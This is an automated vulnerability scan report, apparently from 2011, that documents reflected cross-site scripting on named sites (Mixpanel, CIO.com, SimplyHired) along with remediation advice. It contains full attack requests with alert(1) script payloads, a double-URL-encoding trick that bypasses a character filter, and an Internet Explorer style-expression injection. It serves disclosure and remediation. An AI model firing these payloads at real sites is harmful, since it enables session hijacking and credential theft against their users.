Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 8c398<script>alert(1)</script>a37f9c0f120 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /track8c398<script>alert(1)</script>a37f9c0f120/?data=eyJldmVudCI6ICJtcF9wYWdlX3ZpZXciLCJwcm9wZXJ0aWVzIjogeyIkb3MiOiAiV2luZG93cyIsIiRicm93c2VyIjogIkZpcmVmb3giLCIkcmVmZXJyZXIiOiAiaHR0cDovL3d3dy5mYWtlcmVmZXJyZXJkb21pbmF0b3IuY29tL3JlZmVycmVyUGF0aE5hbWU%2FUmVmUGFyTmFtZT1SZWZWYWx1ZSIsIiRyZWZlcnJpbmdfZG9tYWluIjogInd3dy5mYWtlcmVmZXJyZXJkb21pbmF0b3IuY29tIiwiJGluaXRpYWxfcmVmZXJyZXIiOiAiaHR0cDovL3d3dy5mYWtlcmVmZXJyZXJkb21pbmF0b3IuY29tL3JlZmVycmVyUGF0aE5hbWU%2FUmVmUGFyTmFtZT1SZWZWYWx1ZSIsIiRpbml0aWFsX3JlZmVycmluZ19kb21haW4iOiAid3d3LmZha2VyZWZlcnJlcmRvbWluYXRvci5jb20iLCJtcF9yZWZlcnJlciI6ICJodHRwOi8vd3d3LmZha2VyZWZlcnJlcmRvbWluYXRvci5jb20vcmVmZXJyZXJQYXRoTmFtZT9SZWZQYXJOYW1lPVJlZlZhbHVlIiwibXBfYnJvd3NlciI6ICJGaXJlZm94IiwibXBfcGxhdGZvcm0iOiAiV2luZG93cyIsIm1wX3BhZ2UiOiAiaHR0cDovL2h1bmNoLmNvbS8iLCJ0b2tlbiI6ICI3YjhlNTM1ZWEyMGM2ODM2ZGQ4MjJhNzNjZDQwMDNiZCIsInRpbWUiOiAxMzIxODk0NTYxfX0%3D&ip=1&callback=mpq.metrics.jsonp_callback&_=1321894561530 HTTP/1.1 Host: api.mixpanel.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://hunch.com/
Response
HTTP/1.1 404 Not Found Server: nginx/0.7.65 Date: Mon, 21 Nov 2011 16:56:04 GMT Connection: close Cache-Control: no-cache, no-store Content-Length: 58
/track8c398<script>alert(1)</script>a37f9c0f120/ Not Found
The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 780dc<script>alert(1)</script>15580b36426 was submitted in the callback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /track/?data=eyJldmVudCI6ICJtcF9wYWdlX3ZpZXciLCJwcm9wZXJ0aWVzIjogeyIkb3MiOiAiV2luZG93cyIsIiRicm93c2VyIjogIkZpcmVmb3giLCIkcmVmZXJyZXIiOiAiaHR0cDovL3d3dy5mYWtlcmVmZXJyZXJkb21pbmF0b3IuY29tL3JlZmVycmVyUGF0aE5hbWU%2FUmVmUGFyTmFtZT1SZWZWYWx1ZSIsIiRyZWZlcnJpbmdfZG9tYWluIjogInd3dy5mYWtlcmVmZXJyZXJkb21pbmF0b3IuY29tIiwiJGluaXRpYWxfcmVmZXJyZXIiOiAiaHR0cDovL3d3dy5mYWtlcmVmZXJyZXJkb21pbmF0b3IuY29tL3JlZmVycmVyUGF0aE5hbWU%2FUmVmUGFyTmFtZT1SZWZWYWx1ZSIsIiRpbml0aWFsX3JlZmVycmluZ19kb21haW4iOiAid3d3LmZha2VyZWZlcnJlcmRvbWluYXRvci5jb20iLCJtcF9yZWZlcnJlciI6ICJodHRwOi8vd3d3LmZha2VyZWZlcnJlcmRvbWluYXRvci5jb20vcmVmZXJyZXJQYXRoTmFtZT9SZWZQYXJOYW1lPVJlZlZhbHVlIiwibXBfYnJvd3NlciI6ICJGaXJlZm94IiwibXBfcGxhdGZvcm0iOiAiV2luZG93cyIsIm1wX3BhZ2UiOiAiaHR0cDovL2h1bmNoLmNvbS8iLCJ0b2tlbiI6ICI3YjhlNTM1ZWEyMGM2ODM2ZGQ4MjJhNzNjZDQwMDNiZCIsInRpbWUiOiAxMzIxODk0NTYxfX0%3D&ip=1&callback=mpq.metrics.jsonp_callback780dc<script>alert(1)</script>15580b36426&_=1321894561530 HTTP/1.1 Host: api.mixpanel.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://hunch.com/
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Date: Mon, 21 Nov 2011 16:56:04 GMT Content-Type: text/javascript Connection: close Vary: Accept-Encoding Cache-Control: no-cache, no-store Content-Length: 71
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 848d0%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1d012f76fa7 was submitted in the REST URL parameter 3. This input was echoed as 848d0"><script>alert(1)</script>1d012f76fa7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /ccd/show/848d0%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e1d012f76fa7/00457660054375CIOLJOA2UVHLH/ HTTP/1.1 Host: resources.cio.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a1308%2522%253balert%25281%2529%252f%252fa0e5c305f34 was submitted in the REST URL parameter 3. This input was echoed as a1308";alert(1)//a0e5c305f34 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /ccd/show/200006520a1308%2522%253balert%25281%2529%252f%252fa0e5c305f34/00457660054375CIOLJOA2UVHLH/ HTTP/1.1 Host: resources.cio.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5d274%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5b2065e6cdd was submitted in the REST URL parameter 4. This input was echoed as 5d274"><script>alert(1)</script>5b2065e6cdd in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /ccd/show/200006520/5d274%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5b2065e6cdd/ HTTP/1.1 Host: resources.cio.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive
The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 23e4f%2522%253balert%25281%2529%252f%252f1adb48b3a42 was submitted in the REST URL parameter 4. This input was echoed as 23e4f";alert(1)//1adb48b3a42 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /ccd/show/200006520/00457660054375CIOLJOA2UVHLH23e4f%2522%253balert%25281%2529%252f%252f1adb48b3a42/ HTTP/1.1 Host: resources.cio.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a9cc4%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7ca51987a03 was submitted in the REST URL parameter 2. This input was echoed as a9cc4"><script>alert(1)</script>7ca51987a03 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /show/a9cc4%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e7ca51987a03/00457660054375CIOLJOA2UVHLH/ HTTP/1.1 Host: resources.cio.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 45867%2522%253balert%25281%2529%252f%252f5121d0398d7 was submitted in the REST URL parameter 2. This input was echoed as 45867";alert(1)//5121d0398d7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /show/20000652045867%2522%253balert%25281%2529%252f%252f5121d0398d7/00457660054375CIOLJOA2UVHLH/ HTTP/1.1 Host: resources.cio.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive
The value of REST URL parameter 3 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6019c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea2f23ebc6c2 was submitted in the REST URL parameter 3. This input was echoed as 6019c"><script>alert(1)</script>a2f23ebc6c2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /show/200006520/6019c%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253ea2f23ebc6c2/ HTTP/1.1 Host: resources.cio.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive
The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1b175%2522%253balert%25281%2529%252f%252fb99a15dc3e1 was submitted in the REST URL parameter 3. This input was echoed as 1b175";alert(1)//b99a15dc3e1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /show/200006520/00457660054375CIOLJOA2UVHLH1b175%2522%253balert%25281%2529%252f%252fb99a15dc3e1/ HTTP/1.1 Host: resources.cio.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive
The value of the partner request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8e9dc"style%3d"x%3aexpression(alert(1))"29a56f59d35 was submitted in the partner parameter. This input was echoed as 8e9dc"style="x:expression(alert(1))"29a56f59d35 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /a/job-widget/list/q-CIO%20OR%20%22Chief%20Information%20Officer%22/l-%20/ws-5?partner=cio8e9dc"style%3d"x%3aexpression(alert(1))"29a56f59d35&stylesheet=http%3A%2F%2Fwww.cio.com%2Fdocuments%2Fsimply-hired-homepage.css&color_title=%23003366&color_location=%239c9c9c&color_company=%23000000&header= HTTP/1.1 Host: www.simplyhired.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.cio.com/
Response
HTTP/1.1 200 OK Server: nginx Date: Mon, 21 Nov 2011 15:56:57 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive Keep-Alive: timeout=20 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Content-Length: 8424
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html id="html" dir="ltr" xml:lang="en" lang="en" xmlns="http://www.w3.org/1999/xhtml"> <h ...[SNIP]... <body id="sh_job_widget" class="cio8e9dc"style="x:expression(alert(1))"29a56f59d35"> ...[SNIP]...
The value of the stylesheet request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c8f13"style%3d"x%3aexpression(alert(1))"c47e56dff8d was submitted in the stylesheet parameter. This input was echoed as c8f13"style="x:expression(alert(1))"c47e56dff8d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /a/job-widget/list/q-CIO%20OR%20%22Chief%20Information%20Officer%22/l-%20/ws-5?partner=cio&stylesheet=http%3A%2F%2Fwww.cio.com%2Fdocuments%2Fsimply-hired-homepage.cssc8f13"style%3d"x%3aexpression(alert(1))"c47e56dff8d&color_title=%23003366&color_location=%239c9c9c&color_company=%23000000&header= HTTP/1.1 Host: www.simplyhired.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.cio.com/
Response
HTTP/1.1 200 OK Server: nginx Date: Mon, 21 Nov 2011 15:56:59 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive Keep-Alive: timeout=20 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Content-Length: 7370
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
Request
GET /a/job-widget/list/q-CIO%20OR%20%22Chief%20Information%20Officer%22/l-%20/ws-5?partner=cio&stylesheet=http%3A%2F%2Fwww.cio.com%2Fdocuments%2Fsimply-hired-homepage.css&color_title=%23003366&color_location=%239c9c9c&color_company=%23000000&header= HTTP/1.1 Host: www.simplyhired.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.cio.com/
Response
HTTP/1.1 200 OK Server: nginx Date: Mon, 21 Nov 2011 15:56:44 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive Keep-Alive: timeout=20 P3P: CP="CAO DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Via: Simply Cache Content-Length: 7323
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html id="html" dir="ltr" xml:lang="en" lang="en" xmlns="http://www.w3.org/1999/xhtml"> <h ...[SNIP]... </style> <link rel="stylesheet" type="text/css" href="http://www.cio.com/documents/simply-hired-homepage.css" /> </head> ...[SNIP]... <!-- Start Quantcast tag --> <img src="http://pixel.quantserve.com/pixel/p-32oLU8PZtWAwo.gif" style="display: none;" border="0" height="1" width="1" alt="Quantcast"/> <!-- End Quantcast tag --> ...[SNIP]...
The response contains the following Content-type statement:
Content-Type: text/javascript
The response states that it contains script. However, it actually appears to contain plain text.
Issue background
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
Request
GET /track/?data=eyJldmVudCI6ICJtcF9wYWdlX3ZpZXciLCJwcm9wZXJ0aWVzIjogeyIkb3MiOiAiV2luZG93cyIsIiRicm93c2VyIjogIkZpcmVmb3giLCIkcmVmZXJyZXIiOiAiaHR0cDovL3d3dy5mYWtlcmVmZXJyZXJkb21pbmF0b3IuY29tL3JlZmVycmVyUGF0aE5hbWU%2FUmVmUGFyTmFtZT1SZWZWYWx1ZSIsIiRyZWZlcnJpbmdfZG9tYWluIjogInd3dy5mYWtlcmVmZXJyZXJkb21pbmF0b3IuY29tIiwiJGluaXRpYWxfcmVmZXJyZXIiOiAiaHR0cDovL3d3dy5mYWtlcmVmZXJyZXJkb21pbmF0b3IuY29tL3JlZmVycmVyUGF0aE5hbWU%2FUmVmUGFyTmFtZT1SZWZWYWx1ZSIsIiRpbml0aWFsX3JlZmVycmluZ19kb21haW4iOiAid3d3LmZha2VyZWZlcnJlcmRvbWluYXRvci5jb20iLCJtcF9yZWZlcnJlciI6ICJodHRwOi8vd3d3LmZha2VyZWZlcnJlcmRvbWluYXRvci5jb20vcmVmZXJyZXJQYXRoTmFtZT9SZWZQYXJOYW1lPVJlZlZhbHVlIiwibXBfYnJvd3NlciI6ICJGaXJlZm94IiwibXBfcGxhdGZvcm0iOiAiV2luZG93cyIsIm1wX3BhZ2UiOiAiaHR0cDovL2h1bmNoLmNvbS8iLCJ0b2tlbiI6ICI3YjhlNTM1ZWEyMGM2ODM2ZGQ4MjJhNzNjZDQwMDNiZCIsInRpbWUiOiAxMzIxODk0NTYxfX0%3D&ip=1&callback=mpq.metrics.jsonp_callback&_=1321894561530 HTTP/1.1 Host: api.mixpanel.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://hunch.com/
Response
HTTP/1.1 200 OK Server: nginx/0.7.65 Date: Mon, 21 Nov 2011 16:56:02 GMT Content-Type: text/javascript Connection: close Vary: Accept-Encoding Cache-Control: no-cache, no-store Content-Length: 30
mpq.metrics.jsonp_callback(1);
Report generated by XSS.CX at Tue Nov 22 11:50:03 CST 2011.